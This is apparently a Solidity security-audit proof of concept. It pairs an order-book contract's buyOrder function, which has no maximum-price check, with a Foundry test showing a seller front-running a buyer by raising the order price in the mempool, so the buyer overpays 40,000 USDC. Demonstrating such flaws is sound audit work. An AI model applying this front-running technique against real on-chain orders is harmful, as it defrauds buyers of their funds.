function buyOrder(uint256 _orderId) public {
Order storage order = orders[_orderId];
if (order.seller == address(0)) revert OrderNotFound();
if (!order.isActive) revert OrderNotActive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired();
order.isActive = false;
uint256 protocolFee = (order.priceInUSDC * FEE) / PRECISION;
uint256 sellerReceives = order.priceInUSDC - protocolFee;
iUSDC.safeTransferFrom(msg.sender, address(this), protocolFee);
iUSDC.safeTransferFrom(msg.sender, order.seller, sellerReceives);
IERC20(order.tokenToSell).safeTransfer(msg.sender, order.amountToSell);
totalFees += protocolFee;
emit OrderFilled(_orderId, msg.sender, order.seller);
}
function test_sellerFrontRunsBuyerAttack() public {
vm.startPrank(alice);
wbtc.approve(address(book), 2e8);
uint256 orderId = book.createSellOrder(
address(wbtc),
2e8,
180000e6,
2 days
);
vm.stopPrank();
usdc.mint(dan, 50000e6);
uint256 danInitialUSDC = usdc.balanceOf(dan);
uint256 aliceInitialUSDC = usdc.balanceOf(alice);
uint256 expectedPayment = 180000e6;
console2.log("Original order price: %d USDC", expectedPayment / 1e6);
console2.log("Dan's initial USDC balance: %d", danInitialUSDC / 1e6);
console2.log("- Order ID: %d", orderId);
console2.log("- Expected price: %d USDC", expectedPayment / 1e6);
console2.log(
"Alice sees Dan's buyOrder for order %d in mempool",
orderId
);
vm.prank(alice);
book.amendSellOrder(orderId, 2e8, 220000e6, 2 days);
OrderBook.Order memory manipulatedOrder = book.getOrder(orderId);
console2.log(
"Alice successfully increased price to: %d USDC",
manipulatedOrder.priceInUSDC / 1e6
);
console2.log(
"\n--- Dan's transaction executes at manipulated price ---"
);
console2.log("Dan's transaction executes after Alice's amendment");
vm.startPrank(dan);
usdc.approve(address(book), 220000e6);
book.buyOrder(orderId);
vm.stopPrank();
uint256 danFinalUSDC = usdc.balanceOf(dan);
uint256 aliceFinalUSDC = usdc.balanceOf(alice);
uint256 actualPayment = danInitialUSDC - danFinalUSDC;
uint256 overcharge = actualPayment - expectedPayment;
uint256 expectedAliceReceives = 180000e6 - (180000e6 * 3) / 100;
uint256 actualAliceReceives = aliceFinalUSDC - aliceInitialUSDC;
uint256 aliceExtraProfit = actualAliceReceives - expectedAliceReceives;
console2.log("\n=== FRONT-RUNNING ATTACK RESULTS ===");
console2.log("Expected payment: %d USDC", expectedPayment / 1e6);
console2.log("Actual payment: %d USDC", actualPayment / 1e6);
console2.log("Overcharge amount: %d USDC", overcharge / 1e6);
console2.log("Alice's extra profit: %d USDC", aliceExtraProfit / 1e6);
assertEq(
actualPayment,
220000e6,
"Dan paid the manipulated higher price"
);
assertEq(
overcharge,
40000e6,
"Dan was overcharged exactly 40,000 USDC"
);
assertEq(wbtc.balanceOf(dan), 2e8, "Dan still received the WBTC");
assertEq(
aliceExtraProfit,
38800e6,
"Alice earned 38,800 USDC extra profit"
);
console2.log("\n=== TRANSACTION ORDERING THAT ENABLED ATTACK ===");
console2.log("Block N:");
console2.log(
" 1. Dan submits: buyOrder(%d) expecting to pay %d USDC",
orderId,
expectedPayment / 1e6
);
console2.log(" 2. Alice sees Dan's tx in mempool");
console2.log(
" 3. Alice submits: amendSellOrder(%d, ..., %d) with higher gas",
orderId,
220000e6 / 1e6
);
console2.log("Block N+1:");
uint256 priceIncrease = ((actualPayment - expectedPayment) * 100) /
expectedPayment;
console2.log("\nPrice manipulation: +%d%%", priceIncrease);
assertEq(priceIncrease, 22, "22% price increase from front-running");
OrderBook.Order memory finalOrder = book.getOrder(orderId);
assertEq(
finalOrder.isActive,
false,
"Order should be inactive after purchase"
);
}